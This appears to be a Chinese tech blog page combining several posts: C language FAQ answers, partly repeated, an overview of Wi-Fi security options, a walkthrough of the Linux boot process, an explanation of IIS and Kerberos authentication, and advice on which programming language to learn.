10. 那么返回字符串或其它集合的正确方法是什么呢?
答:返回指针必须是静态分配的缓冲区, 或者调用者传入的缓冲区,
或者用malloc() 获得的内存, 但不能是局部(自动) 数组。
11. 我有个程序分配了大量的内存, 然后又释放了。但是从操作系统看,内存的占用率却并没有回去。
答:多数malloc/free 的实现并不把释放的内存返回操作系统, 而是留着供同一程序的后续malloc() 使用。
12. calloc() 和malloc() 有什么区别?利用calloc 的零填充功能安
全吗?free() 可以释放calloc() 分配的内存吗, 还是需要一个cfree()?
答:calloc(m, n) 本质上等价于:
p = malloc(m * n);
memset(p, 0, m * n);
填充的零是全零, 因此不能确保生成有用的空指针值或浮点零值free()
可以安全地用来释放calloc() 分配的内存。
13. 我认为我的编译器有问题: 我注意到sizeof(‘a’) 是2 而不是1 (即,不是sizeof(char))。
答:可能有些令人吃惊, C语言中的字符常数是int 型, 因此sizeof(‘a’) 是sizeof(int),这是另一个与C++ 不同的地方。
14. 为什么声明extern int f(struct x *p); 报出了一个奇怪的警告信息“结构x 在参数列表中声明”?
答:与C 语言通常的作用范围规则大相径庭的是, 在原型中第一次声明(甚至提到)的结构不能和同一源文件中的其它结构兼容,
它在原型的结束出就超出了作用范围。要解决这个问题, 在同一源文件的原型之前放上这样的声明:
struct x;
它在文件范围内提供了一个不完整的结构x 的声明, 这样, 后续的用到结构x的声明至少能够确定它们引用的是同一个结构x。
15. 我不明白为什么我不能象这样在初始化和数组维度中使用常量:const int n = 5; int a[n];
答:const 限定词真正的含义是 “只读的”; 用它限定的对象是运行时 (同常) 不能被赋值的对象。
因此用 const 限定的对象的值并不完全是一个真正的常量。
在这点上 C 和 C++ 不一样。如果你需要真正的运行时常量, 使用预定义宏 #define(或enum)。
16. 我能否把 main() 定义为 void, 以避免扰人的 “main无返回值”警告?
答:不能。main() 必须声明为返回 int, 且没有参数或者接受适当类型的两个参数。
如果你调用了 exit() 但还是有警告信息, 你可能需要插入一条冗余的 return语句
(或者使用某种 “未到达”指令, 如果有的话)。很多书不负责任地在例子中使用 void main(),
并宣称这样是正确的。但他们错了。
17. #pragma 是什么, 有什么用?
答:#pragam 指令提供了一种单一的明确定义的 “救生舱”, 可以用作各种 (不可移植的) 实现相关的控制和扩展:
源码表控制、结构压缩、警告去除 (就像 lint 的老 /* NOTREACHED */注释), 等等。
18. “#pragma once” 是什么意思?我在一些头文件中看到了它。
答:这是某些预处理器实现的扩展用于使头文件自我识别; 它跟#ifndef技巧等价, 不过移植性差些。

1.这样的初始化有什么问题?char *p = malloc(10); 编译器提示“非法初始式” 云云。
答:这个声明是静态或非局部变量吗?函数调用只能出现在自动变量(即局部非静态变量) 的初始式中。因为静态变量的地址必须在编译的过程中就确定下来而malloc()申请的内存地址是在运行时确定的。
2. *p++ 自增p 还是p 所指向的变量?
答:后缀++ 和– 操作符本质上比前缀一目操作的优先级高, 因此*p++ 和*(p++) 等价, 它自增p 并返回p 自增之前所指向的值。要自增p 指向的值, 使用(*p)++, 如果副作用的顺序无关紧要也可以使用++*p。
3 我有一个char * 型指针正巧指向一些int 型变量, 我想跳过它们。为什么如下的代码((int *)p)++; 不行?
答:在C 语言中, 类型转换意味着“把这些二进制位看作另一种类型, 并作相应的对待”; 这是一个转换操作符,  根据定义它只能生成一个右值(rvalue)。而右值既不能赋值, 也不能用++ 自增。(如果编译器支持这样的扩展,  那要么是一个错误, 要么是有意作出的非标准扩展。) 要达到你的目的可以用:p = (char *)((int *)p + 1);或者,因为p 是char * 型, 直接用p += sizeof(int);
4.空指针和未初始化的指针是一回事吗?
答:空指针在概念上不同于未初始化的指针:空指针可以确保不指向任何对象或函数; 而未初始化指针则可能指向任何地方。
5.我可以用0来表示空指针吗?
答:根据语言定义, 在指针上下文中的常数0 会在编译时转换为空指针。也就是说, 在初始化、赋值或比较的时候,  如果一边是指针类型的值或表达式, 编译器可以确定另一边的常数0 为空指针并生成正确的空指针值。因此下边的代码段完全合法:char *p = 0;if(p != 0)
然而, 传入函数的参数不一定被当作指针环境, 因而编译器可能不能识别未加修饰的0 “表示” 指针。在函数调用的上下文中生成空指针需要明确的类型转换,强制把0 看作指针。例如, Unix 系统调用execl 接受变长的以空指针结束的字符指针参数。它应该如下正确调用:execl(“/bin/sh”, “sh”, “-c”, “date”, (char *)0);如果省略最后一个参数的(char *) 转换, 则编译器无从知道这是一个空指针,从而当作一个0 传入。(注意很多Unix 手册在这个例子上都弄错了。)

摘要:==========================|=============================|| 可以使用未加修饰的0 | 需要显示的类型转换 ||||————————|—————————|||| *初始化 | *函数调用, 作用域内无原型 |||| *赋值 | *变参函数调用中的可变参数 |||| *比较 | |||| *固定参数的函数调用 | |||| 且在作用域内有原型 | ||==========================|=============================
有两条简单规则你必须遵循:1) 当你在源码中需要空指针常数时, 用“0” 或“NULL”。2) 如果在函数调用中“0” 或“NULL” 用作参数, 把它转换成被调函数需要的指针类型
6. 既然数组引用会蜕化为指针, 如果arr 是数组, 那么arr 和&arr 又有什么区别呢?
答:区别在于类型:在标准C 中, &arr 生成一个“T 型数组” 的指针, 指向整个数组。在所有的C 编译器中, 对数组的简单引用(不包括& 操作符)生成一个T 的指针类型的指针, 指向数组的第一成员。
7. 我如何声明一个数组指针?
答:通常, 你不需要。当人们随便提到数组指针的时候, 他们通常想的是指向它的第一个元素的指针。考虑使用指向数组某个元素的指针, 而不是数组的指针。类型T 的数组蜕变成类型T 的指针, 这很方便;  在结果的指针上使用下标或增量就可以访问数组中单独的成员。而真正的数组指针, 在使用下标或增量时, 会跳过整个数组,  通常只在操作数组的数组时有用—— 如果还有一点用的话。如果你真的需要声明指向整个数组的指针,  使用类似“int (*ap)[N];”这样的声明。其中N 是数组的大小。如果数组的大小未知, 原则上可以省略N, 但是这样生成的类型,  “指向大小未知的数组的指针”, 毫无用处。
8.当我向一个接受指针的指针的函数传入二维数组的时候, 编译器报错了,这是怎么回事?
答:数组蜕化为指针的规则不能递归应用。数组的数组(即C 语言中的二维数组) 蜕化为数组的指针, 而不是指针的指针。数组指针常常令人困惑, 需要小心对待; 如果你向函数传递二位数组:int array[NROWS][NCOLUMNS];f(array);那么函数的声明必须匹配:void f(int a[][NCOLUMNS]){ … }或者void f(int (*ap)[NCOLUMNS]) /* ap 是个数组指针*/{ … }在第一个声明中, 编译器进行了通常的从“数组的数组” 到“数组的指针” 的隐式转换; 第二种形式中的指针定义显而易见。因为被调函数并不为数组分配地址,所以它并不需要知道总的大小, 所以行数NROWS 可以省略。但数组的宽度依然重要,所以列维度NCOLUMNS (对于三维或多维数组, 相关的维度) 必须保留。如果一个函数已经定义为接受指针的指针, 那么几乎可以肯定直接向它传入二维数组毫无意义。

9. 我的strcat() 不行.我试了char *s1 = “Hello, “; char *s2 = “world!”;  char *s3 = strcat(s1, s2); 但是我得到了奇怪的结果。
答:这里主要的问题是没有正确地为连接结果分配空间。C 没有提供自动管理的字符串类型。C 编译器只为源码中明确提到的对象分配空间(对于字符串, 这包括字符数组和串常量)。程序员必须为字符串连接这样的运行期操作的结果分配足够的空间,
常可以通过声明数组或调用malloc() 完成。strcat() 不进行任何分配; 第二个串原样不动地附加在第一个之后。因此, 一种解决办法是把第一个串声明为数组:char s1[20] = “Hello, “;由于strcat() 返回第一个参数的值, 本例中为s1, s3 实际上是多余的; 在strcat() 调用之后, s1 包含结果。提问中的strcat() 调用实际上有两个问题: s1 指向的字符串常数, 除了空间不足以放入连接的字符串之外,  甚至都不一定可写。

10. 那么返回字符串或其它集合的正确方法是什么呢?
答:返回指针必须是静态分配的缓冲区, 或者调用者传入的缓冲区,  或者用malloc() 获得的内存, 但不能是局部(自动) 数组。
11. 我有个程序分配了大量的内存, 然后又释放了。但是从操作系统看,内存的占用率却并没有回去。
答:多数malloc/free 的实现并不把释放的内存返回操作系统, 而是留着供同一程序的后续malloc() 使用。
12. calloc() 和malloc() 有什么区别?利用calloc 的零填充功能安全吗?free() 可以释放calloc() 分配的内存吗, 还是需要一个cfree()?
答:calloc(m, n) 本质上等价于:p = malloc(m * n);memset(p, 0, m * n);填充的零是全零, 因此不能确保生成有用的空指针值或浮点零值free()
可以安全地用来释放calloc() 分配的内存。
13. 我认为我的编译器有问题: 我注意到sizeof(‘a’) 是2 而不是1 (即,不是sizeof(char))。
答:可能有些令人吃惊, C语言中的字符常数是int 型, 因此sizeof(‘a’) 是sizeof(int),这是另一个与C++ 不同的地方。
14. 为什么声明extern int f(struct x *p); 报出了一个奇怪的警告信息“结构x 在参数列表中声明”?
答:与C 语言通常的作用范围规则大相径庭的是, 在原型中第一次声明(甚至提到)的结构不能和同一源文件中的其它结构兼容,  它在原型的结束出就超出了作用范围。要解决这个问题, 在同一源文件的原型之前放上这样的声明:struct x;它在文件范围内提供了一个不完整的结构x 的声明, 这样, 后续的用到结构x的声明至少能够确定它们引用的是同一个结构x。

15. 我不明白为什么我不能象这样在初始化和数组维度中使用常量:const int n = 5; int a[n];
答:const 限定词真正的含义是 “只读的”; 用它限定的对象是运行时 (同常) 不能被赋值的对象。因此用 const 限定的对象的值并不完全是一个真正的常量。在这点上 C 和 C++ 不一样。如果你需要真正的运行时常量, 使用预定义宏 #define(或enum)。
16. 我能否把 main() 定义为 void, 以避免扰人的 “main无返回值”警告?
答:不能。main() 必须声明为返回 int, 且没有参数或者接受适当类型的两个参数。如果你调用了 exit() 但还是有警告信息, 你可能需要插入一条冗余的 return语句(或者使用某种 “未到达”指令, 如果有的话)。很多书不负责任地在例子中使用 void main(),  并宣称这样是正确的。但他们错了。

17. #pragma 是什么, 有什么用?
答:#pragam 指令提供了一种单一的明确定义的 “救生舱”, 可以用作各种 (不可移植的) 实现相关的控制和扩展:源码表控制、结构压缩、警告去除 (就像 lint 的老 /* NOTREACHED */注释), 等等。
18. “#pragma once” 是什么意思?我在一些头文件中看到了它。
答:这是某些预处理器实现的扩展用于使头文件自我识别; 它跟#ifndef技巧等价, 不过移植性差些。

详细解读八大无线网络安全技术利弊

浩瀚的大海,深邃的崖洞,在一片银白的沙滩上,膝盖上放着笔记本的您正姿态优雅地在躺椅上查看最新的股价信息、足球资讯,正在享受自由、可移动、随时随地的无线网络所带来的无限空间。突然,鼠标停滞,屏幕模糊,系统瘫痪,随即自动关机,在那一刹那,您的第一感觉是什么?没错,病毒、黑客,或者是木马!

这就是无线网络的两面性。一方面,它可以带给用户飞一般网上冲浪的感觉,而另一方面,它也可以带给用户不确定的网络安全。和有线网络一样,病毒、黑客、蠕虫,木马、间谍软件,随时都在威胁着无线网络的安全,并且无线网络比有线网络更容易遭侵害,因为用户在使用无线网络时的安全意识和掌握的技术手段还比较差。不能因为有人用枪杀人而停止枪的生产,同样不能因为无线网络会带来安全隐患而不去推广无线网络的使用。其实,无线网络安全隐患并不可怕,只要掌握一些基本的无线网络安全技术,就完全可以畅游网络而不惧病毒。

网络:加强安全防范迫在眉睫

在书房呆累了,小明抗着笔记本来到了客厅,奇怪的发现上网的速度怎么突然变快了?难道远离了AP(AP 在书房)上网速度还更快?当然不会,这是因为由于客厅离隔壁的书房较近的原因,小明无意间访问了邻居的无线网络,而邻居申请的网络速度比小明的快所致。我们假设,小明接着访问了邻居的共享磁盘,正好磁盘里有银行卡密码、投标书、个人日记,甚至是一些个人图片,结果会怎么样?

为了让更多的人可以访问到,无线网络选择了通过特定的无线电波来传送,在这个发射频率的有效范围内,任何具有合适接收设备的人都可以捕获该频率的信号,进而进入目标网络一个员工在公司阳台也可以访问公司网络,但这同时也意味着,蹲在公司阳台下面的竞争对手的情报人员也可以访问公司的网络,畅通无阻,而这个人拿着笔记本,也可以到全国各地的竞争对手阳台下去拿一些情报。

这不是凭空假设,而是事实。相关机构最近一次调查表明,有85%的IT企业网络经理认为无线网络的安全防范意识和手段还需要进一步加强。由于 WiFi的802.11规范的安全协议考虑不周的原因,无线网络存在安全漏洞,这就给了攻击者进行中间人攻击 (man in the middle、DOS、封包破解等攻击的机会。而鉴于无线网络自身特性,攻击者不费吹灰之力就可以找到一个网络接口,在企业的建筑旁边接入客户网络,肆意盗取企业机密或进行破坏。另外,企业员工对无线设备不负责任滥用也会造成安全隐患,比如不负责任假设开放AP,随意打开无线网卡的Ad hoc模式,或者误上别人假冒的合法AP导致信息泄露等”无线网络行业下一个竞争点在安全,要想开辟无线网络应用新纪元,就必须编织更高安全的无线网络。 “华硕网络通信部技术经理郭勇先生表示,无线网络安全将引发下一轮无线网络的技术革命。谁率先突破技术瓶颈,打造出最安全的无线网络,谁就将成为推动行业进步的主导力量,扬名沙场、统领群雄。

技术:八大技术利弊剖析

从上文描述的安全隐患我们可以看到,很多时候,并不是技术而是内部人员使用无线网络的不当做成安全隐患的。所以,要解决无线网络的安全问题,就必须从使用无线网络的人着手,强化他们的安全意识,强化他们的安全技术手段。目前很多人对无线网络的相关安全技术都还只是一知半解。

下面,本文将着重分析业界排除无线网络安全隐患的八大主流技术各自的利弊和适用范围,希望能给处于困惑中的无线用户和准备架构WLAN设备的用户一些建议和指导,在实际的执行过程中做到心中有数、有备无患。

隐藏SSID:

SSID,即Service Set Identifier的简称,让无线客户端对不同无线网络的识别,类似我们的手机识别不同的移动运营商的机制。参数在设备缺省设定中是被AP无线接入点广播出去的,客户端只有收到这个参数或者手动设定与AP相同的SSID才能连接到无线网络。而我们如果把这个广播禁止,一般的漫游用户在无法找到SSID的情况下是无法连接到网络的。

需要注意的是,如果黑客利用其他手段获取相应参数,仍可接入目标网络,因此,隐藏SSID适用于一般SOHO环境当作简单口令安全方式。

MAC地址过滤

顾名思义,这种方式就是通过对AP的设定,将指定的无线网卡的物理地址(MAC地址)输入到AP中。而AP对收到的每个数据包都会做出判断,只有符合设定标准的才能被转发,否则将会被丢弃。

这种方式比较麻烦,而且不能支持大量的移动客户端。另外,如果黑客盗取合法的MAC地址信息,仍可以通过各种方法适用假冒的MAC地址登陆网络,一般SOHO,小型企业工作室可以采用该安全手段。

WEP加密:

WEP是Wired Equivalent Privacy的简称,所有经过WIFI认证的设备都支持该安全协定。采用64位或128位加密密钥的RC4加密算法,保证传输数据不会以明文方式被截获。

该方法需要在每套移动设备和AP上配置密码,部署比较麻烦;使用静态非交换式密钥,安全性也受到了业界的质疑,但是它仍然可以阻挡一般的数据截获攻击,一般用于SOHO、中小型企业的安全加密。

AP隔离

类似于有线网络的VLAN,将所有的无线客户端设备完全隔离,使之只能访问AP连接的固定网络。

该方法用于对酒店和机场等公共热点Hot Spot的架设,让接入的无线客户端保持隔离,提供安全的Internet接入。

802.1x协议

802.1x协议由IEEE定义,用于以太网和无线局域网中的端口访问与控制。802.1x引入了 PPP协议定义的扩展认证协议EAP。作为扩展认证协议,EAP可以采用MD5,一次性口令,智能卡,公共密钥等等更多的认证机制,从而提供更高级别的安全。在用户认证方面,802.1x的客户端认证请求也可以由外部的Radius服务器进行认证。该认证属于过渡期方法且各厂商实现方法各有不同,直接造成兼容问题。

该方法需要专业知识部署和Radius服务器支持,费用偏高,一般用于企业无线网络布局。

WPA

WPA即Wi-Fi protected access的简称,下一代无线规格802.11i之前的过渡方案,也是该标准内的一小部分。WPA率先使用802.11i中的加密技术-TKIP (Temporal Key Integrity Protocol),这项技术可大幅解决802.11原先使用WEP所隐藏的安全问题。

很多客户端和AP并不支持WPA协议,而且TKIP加密仍不能满足高端企业和政府的加密需求,该方法多用于企业无线网络部署。

WPA2

WPA2与WPA后向兼容,支持更高级的AES加密,能够更好地解决无线网络的安全问题。

由于部分AP和大多数移动客户端不支持此协议,尽管微软已经提供最新的WPA2补丁,但是仍需要对客户端逐一部署。该方法适用于企业、政府及SOHO用户。

802.11i

IEEE 正在开发的新一代的无线规格,致力于彻底解决无线网络的安全问题,草案中包含加密技术 AES(Advanced Encryption Standard)与TKIP,以及认证协议IEEE802.1x。

尽管理论上讲此协议可以彻底解决无线网络安全问题,适用于所有企业网络的无线部署,但是目前为止尚未有支持此协议的产品问世。
方案:不同用户各有所解

综上所述,不同的无线网络用户遭受安全隐患威胁的程度不同,他们需要的技术支持也就有所区别。因此,我们根据不同用户的不同需求,推荐了不同的安全解决方案。

SOHO用户

SOHO用户可采用隐藏SSID,MAC地址过滤,WEP等方法进行简单防护;另外,如果设备支持,可以采用WPA-PSK方式部署,因为PSK方式相对比较简单。

SMB用户:

适合以上各种安全措施,包括WPA,WEP,隐藏SSID,MAC地址过滤,甚至VPN协议等。

Hot pot或Public WLAN

可以采用Web认证和AP无线客户二层隔离的安全措施

大型企业和政府

建议采用WPA2安全加密方案,保证目前最好的加密效果。自无线网络问世以来,关于其安全问题的讨论就不曾停止,也就使得对无线网络的态度也各自不同。反对者认为,无线网络太不安全,应该尽量少用,而支持者认为应该大力推广便捷、自由的无线网络,只要用户按照加强安全方面的防范即可,因为在技术上,各网络设备厂商都在不遗余力地探索解决无线网络安全隐患的方法,比如国内知名的网络通信设备厂商华硕便依托强大的自主研发队伍,不断推陈出新,开发出适合各层用户的高安全无线网络设备,让用户在家庭、企业、甚至政府应用方面都能做到得心应手。

LINUX系统启动过程

1)BIOS自检
2)启动Grub/Lilo
3)加载内核
4)执行init进程
5)通过/etc/inittab文件进行初始化
6)登陆Linux

1)BIOS自检
a)POST(Power On Self Test),对硬件进行检测
计算机在通电后首先由BIOS进行自检,即所谓的POST(Power On Self Test),对硬件进行检测
依据BIOS内设置的引导顺序从硬盘、软盘或CDROM中读入”引导块”
在PC中,Linux是从BIOS中的地址0xFFFF0处开始的
BIOS的第一个步骤是加电自检(POST),对硬件进行检测
第二个步骤是进行本地设备的枚举和初始化
BIOS由两部分组成: POST代码和运行时服务
当POST完成后,它从内存中清理出来,但BIOS运行时服务依然保留在内存中,目标操作系统可以使用这些服务
要引导一个操作系统,BIOS运行时会按照CMOS的设置的顺序来搜索处于活动状态并可引导的设备:软盘、CD-ROM、硬盘上的分区、网络上的某个设备、USB(通常Linux是从硬盘引导的
主引导记录MBR中包含主引导加载程序。MBR是一个512字节大小的扇区,位于磁盘上的第一个扇区中(0道0柱面1扇区))当MBR被加载到RAM中之后,BIOS会把控制权交给MBR

b)提取MBR的信息
要看MBR的内容,请使用下面的命令
#从/dev/sda上读取前512个字节的内容,并将其写入mbr.bin文件中
[root@localhost pam.d]# dd if=/dev/sda of=mbr.bin bs=512 count=1

#以十六进制和ASCII码格式打印这个二进制文件的内容
[root@localhost pam.d]# od -xa mbr.bin
0000000 48eb 0090 d08e 00bc fb7c d88e b9fc 0080
k   H dle nul  so   P   < nul   |   {  so   X   |   9 nul nul
0000020 f48b 00bf 8e06 f3c0 a566 2fea 0006 1000
vt   t   ? nul ack  so   @   s   f   %   j   / ack nul nul dle

2)启动GRUB/Lilo
GRUB和LILO都是引导加载程序,它们会引导操作系统。当机器引导它的操作系统时,BIOS会读取引导介质上最前面的512字节(即MBR: master boot record)

3)加载内核
当内核映像被加载到内存后,内核阶段就加开始了
内核映像并不是一个可执行的内核,而是一个压缩过的内核映像。通常它是一个zImage(压缩映像,小于512KB)或bzImage(较大的压缩映像,大于512KB),它是提前使用zlib进行压缩的
在这个内核映像前面是一个例程,它实现少量硬件设置,并对内核映像中包含的内核进行解压,然后将其放入高端内存中,如果有初始RAM磁盘映像,就会将它移动到内存中,并标明以后使用,然后此例程会调用内核,并开始启动内核引导的过程
在GRUB命令中,我们可以使用initrd映像引导一个特定的内核,方法如下:
grub> kernel /bzImage-2.6.14.2
[Linux-bzImage, setup=0x1400, size=0x29672e]

grub>initrd /initrd-2.6.14.2.img
[Linux-initrd @ 0x5f13000, 0xcc199 bytes]

grub> boot
Uncompressing Linux… Ok, booting the kernel.

如果不知道要引导的内核的名称,只需使用/然后按下Tab键,就会显示内核和initrd映像列表

对grub命令行进行加密
a)使用命令/sbin/grub-md5-crypt来产生grub使用的密码
[root@localhost pam.d]# /sbin/grub-md5-crypt
Password:
Retype password:
$1$3YbPF$zFVRY6J8VxNR9Ok4fXRkr1

b)修改/etc/grub.conf加入password –md5 $1$3YbPF$zFVRY6J8VxNR9Ok4fXRkr1 一定要放在title之前
这样重启系统时在grub的启动grub菜单时,想再按e命令进行编辑时,必须先按p键后输入密码才成

4)执行init进程
init进程是所有进程的起点,内核在完成内核引导后,即在本线程(进程)空间内加载init程序,它的进程号为1
init进程是所有进程的发起者和控制者
init进程有两个作用:
扮演终结父进程的角色:所有的孤儿进程都会被init进程接管
进入某个特定的运行级别时运行相应的程序,以此对各种运行级别进行管理,这个作用由/etc/inittab文件定义的

5)通过/etc/inittab文件进行初始化
init进程的工作是根据/etc/inittab来执行相应的脚本进行系统初始化,如设置键盘、字体,装载模块,设置网络等,对于RedHat来说,按以下顺序执行
a)执行/etc/rc.d/rc.sysinit(由init执行的第一个脚本)
此步可进行的工作有:
设置$PATH变量
配置网络
为虚拟内存启动交换
设置系统的主机名
检查root文件系统,以进行必要的修复
检查root文件系统的配额
为root文件系统打开用户和组的配额
以读/写的方式重新装载root文件系统
清除被装载的文件系统表/etc/matb
把root文件系统输入到mtab
使用系统为装入模块做准备
查找模块的相关文件
检查文件系统,以进行必要的修复
加载所有其他文件系统
清除几个/etc文件,如/etc/mtab、/etc/fastboot和/etc/nologin
删除UUCP的lock文件
删除过时的子系统文件
删除过时的pid文件
设置系统时钟
打开交换
初始化串行端口
装入模块

b)执行/etc/rc.d/rcX.d[KS]
首先终止K开头的服务(用来关闭一个服务),然后启动S开头的服务(用来启动一个服务)
对每一个运行级别来说,在/etc/rc.d子目录中都有一个对应的下级目录。
这些运行级别的下级子目录的命名方法上rcX.d, 其中X就是代表运行级别的数字
在各个运行级别的子目录中,都建立有到/etc/rc.d/init.d子目录中命令脚本程序的符号链接
链接的名称在K与S后有一个数字,表示执行顺序,数字小的先执行如K01tog-pegasus  、 S00microcode_ctl
对以K开头的脚本执行时系统会传递stop参数,而S开头的脚本系统会传递start参数

c)执行/etc/rc.d/rc.local
Redhat中运行模式2,3,5都把/etc/rc.d/rc.local作为初始化脚本中的最后一个文件,所以用户可以自己在这个文件中添加一些需要在其他初始化工作之后,登陆之前执行的命令

6)执行/bin/login
login程序会提示使用者需输入帐号与密码,接着编码并确认密码的正确性,若二者相合,则为使用者进行初始化环境,并将控制权交给shell,即等用户登录。

—————-至此,Linux启动过程全部结束———————-

IIS服务器身份验证的方式与基本原理

IIS服务器具有身份验证功能,可以有以下几种验证方式:

匿名访问

这种方式不验证访问用户的身份,客户端不需要提供任何身份验证的凭据,服务端把这样的访问作为匿名的访问,并把这样的访问用户都映射到一个服务端的账户,一般为IUSER_MACHINE这个用户,可以修改映射到的用户:

集成windows身份验证

这种验证方式里面也分为两种情况

NTLM验证

这种验证方式需要把用户的用户名和密码传送到服务端,服务端验证用户名和密码是否和服务器的此用户的密码一致。用户名用明码传送,但是密码经过处理后派生出一个8字节的key加密质询码后传送。

Kerberos验证

这种验证方式只把客户端访问IIS的验证票发送到IIS服务器,IIS收到这个票据就能确定客户端的身份,不需要传送用户的密码。需要kerberos验证的用户一定是域用户。

每一个登录用户在登录被验证后都会被域中的验证服务器生成一个票据授权票(TGT)作为这个用户访问其他服务所要验证票的凭证(这是为了实现一次登录就能访问域中所有需要验证的资源的所谓单点登录SSO功能),而访问IIS服务器的验证票是通过此用户的票据授权票(TGT)向IIS获取的。之后此客户访问此IIS都使用这个验证票。同样访问其他需要验证的服务也是凭这个TGT获取该服务的验证票。

下面是kerberos比较详细的原理。

Kerberos原理介绍:

工作站端运行着一个票据授权的服务,叫Kinit,专门用做工作站同认证服务器Kerberos间的身份认证的服务。

1. 用户开始登录,输入用户名,验证服务器收到用户名,在用户数据库中查找这个用户,结果发现了这个用户。

2. 验证服务器生成一个验证服务器跟这个登录用户之间共享的一个会话口令(Session key),这个口令只有验证服务器跟这个登录用户之间使用,用来做相互验证对方使用。同时验证服务器给这个登录用户生成一个票据授权票(ticket-granting ticket),工作站以后就可以凭这个票据授权票来向验证服务器请求其他的票据,而不用再次验证自己的身份了。验证服务器把{ Session key + ticket-granting ticket }用登录用户的口令加密后发回到工作站。

3. 工作站用自己的口令解密验证服务器返回的数据包,如果解密正确则验证成功。解密后能够获得登录用户与验证服务器共享的Session key和一张ticket-granting ticket。到此,登录用户没有在网络上发送口令,通过验证服务器使用用户口令加密验证授权票的方法验证了用户,用户跟验证服务器之间建立了关系,在工作站上也保存来相应的身份证明,以后要是用网络中的其他服务,可以通过这个身份证明向验证服务器申请相应服务器的服务票,来获得相应服务身份验证。

4. 如果用户第一次访问IIS服务器,工作站的kinit查看本机上没有访问IIS服务器的验证票,于是kinit会向验证服务器发出请求,请求访问IIS服务的验证票。Kinit先要生成一个验证器,验证器是这样的:{用户名:工作站地址}用跟验证服务器间的Session key加密。Kinit将验证器、票据授权票、你的名字、你的工作站地址、IIS服务名字发送的验证服务器,验证服务器验证验证授权票真实有效,然后用跟你共享的Session key解开验证器,获取其中的用户名和地址,与发送这个请求的用户和地址比较,如果相符,说明验证通过,这个请求合法。

5. 验证服务器先生成这个用户跟IIS服务器之间的Session key会话口令,之后根据用户请求生成IIS服务器的验证票,是这个样子的:{会话口令:用户名:用户机器地址:服务名:有效期:时间戳},这个验证票用IIS服务器的密码(验证服务器知道所有授权服务的密码)进行加密形成最终的验证票。最后,验证服务器{会话口令+加好密的验证票}用用户口令加密后发送给用户。

6. 工作站收到验证服务器返回的数据包,用自己的口令解密,获得跟IIS服务器的Session key和IIS服务器的验证票。

7. 工作站kinit同样要生成一个验证器,验证器是这样的:{用户名:工作站地址}用跟IIS服务器间的Session key加密。将验证器和IIS验证票一起发送到IIS服务器。

8.IIS服务器先用自己的服务器密码解开IIS验证票,如果解密成功,说明此验证票真实有效,然后查看此验证票是否在有效期内,在有效期内,用验证票中带的会话口令去解密验证器,获得其中的用户名和工作站地址,如果跟验证票中的用户名和地址相符则说明发送此验证票的用户就是验证票的所有者,从而验证本次请求有效。

基本身份验证

这种验证方式完全是把用户名和明文用明文(经过base64编码,但是base64编码不是加密的,经过转换就能转换成原始的明文)传送到服务端验证。服务器直接验证服务器本地是否用用户跟客户端提供的用户名和密码相匹配的,如果有则通过验证。

你该学什么样的编程语言

程序语言可分为5类

1、web page script languages

就是网页代码,比如Html、javascript、Css、Asp、Php、Xml都应该属于此类(照蔡的意思,Html不应该属于anguages的,可能他觉得太简单了吧,不过我觉得Html也应该算的,大家爱听谁的就听谁的好了,这个不重要)

2、Interpreted Languages(解释型语言)

包括Perl、Python、REBOL、Ruby等(后面三个听豆没听过),也常被称作Script语言,通常被用于和底下的操作系统沟通。照蔡的意思,每个人至少应该学会一套这类的语言。这类语言的缺点是效率差、源代码外露——所以不适合用来开发软件产品,一般用于网页服务器。

3、Hybrid Laguages(混合型语言)

代表是JAVA和C#。介于解释型和编译型之间。蔡认为C#是.NET最重要的语言,值得期待其后续发展;至于JAVA,蔡叫看他的《Sleepless in Java》——我倒!

4、COMPILING Languages(编译型语言)

C/C++,JAVA都是编译型语言。蔡说C++很复杂,要成为高手没三五年是不行的(就凭这句话,我决定向JAVA投降),虽然如此,但真正要成为高手的都应该懂C/C++。

关于Delphi,蔡说如果想要跨Linux和Windows平台的语言,则Delphi似乎是最好的选择。

5、Assembly Languages(汇编语言)

汇编语言是最接近于硬件的语言,不过现在几乎没多少人用了。

程序语言学习顺序建议

如果完全没有程序经验,可照这个顺序:javascript——解释型语言——混合型语言——编译型语言——汇编(如果需要的话)

用业界流行一句话做结尾“真正的程序员用C++,聪明的程序员用Delphi”,那么,什么样的程序员用JAVA呢?

虚怀若谷题外话

看在我这么晚了还这么辛苦的敲字的面子上,看到这篇帖子的朋友给点掌声吧,虽然没什么自己的思想。

另外,本文完全据蔡学镛先生同名文章精简,所以如果这篇文章给你的程序员生涯有什么不好的作用,那我不介意你去扁他。当然如果这篇文章对你有什么积极影响,我很高兴你能请我吃大餐。

如果您想学习编程,却又不知从何入手,那么您不妨看看下面的几种学习方案,可能会给您一些启示吧!

方案一 Basic语言 & Visual Basic

优点

(1)Basic 简单易学,很容易上手。

(2)Visual Basic 提供了强大的可视化编程能力,可以让你轻松地做出漂亮的程序。

(3)众多的控件让编程变得象垒积木一样简单。

(4)Visual Basic 的全部汉化让我们这些见了English就头大的人喜不自禁。

缺点

(1)Visual Basic 不是真正的面向对象的开发文具。

(2)Visual Basic 的数据类型太少,而且不支持指针,这使得它的表达能力很有限。

(3)Visual Basic 不是真正的编译型语言,它产生的最终代码不是可执行的,是一种伪代码。它需要一个动态链接库去解释执行,这使得Visual Basic 的编译速度大大变慢。

综述:方案一适合初涉编程的朋友,它对学习者的要求不高,几乎每个人都可以在一个比较短的时间里学会vB编程,并用VB 做出自己的作品。对于那些把编程当做游戏的朋友来说,VB 是您最佳的选择。

方案二 Pascal语言 & Delphi

优点

(1)Pascal语言结构严谨,可以很好地培养一个人的编程思想。

(2)Delphi是一门真正的面向对象的开发工具,并且是完全的可视化。

(3)Delphi使用了真编译,可以让你的代码编译成为可执行的文件,而且编译速度非常快。

(4)Delphi具有强大的数据库开发能力,可以让你轻松地开发数据库。

缺点

Delphi几乎可以说是完美的,只是Pascal语言的过于严谨让人感觉有点烦。

综述: 方案二比较适合那些具有一定编程基础并且学过Pascal语言的朋友。

方案三 C语言 & Visual C++

优点

(1)C语言灵活性好,效率高,可以接触到软件开发比较底层的东西。

(2)微软的MFC库博大精深,学会它可以让随心所欲地进行编程。

(3)VC是微软制作的产品,与操作系统的结合更加紧密。

缺点

对使用者的要求比较高,既要具备丰富的C语言编程经验,又要具有一定的WINDOWS编程基础,它的过于专业使得一般的编程爱好者学习起来会有不小的困难。

综述: VC是程序员用的东西。如果你是一个永不满足的人,而且可以在编程上投入很大的精力和时间,那么学习VC你一定不会后悔的。

方案四 C++语言 & C++ Builder

优点

(1)C++语言的优点全部得以继承。

(2)完全的可是化。

(3)极强的兼容性,支持OWL、VCL和MFC三大类库。

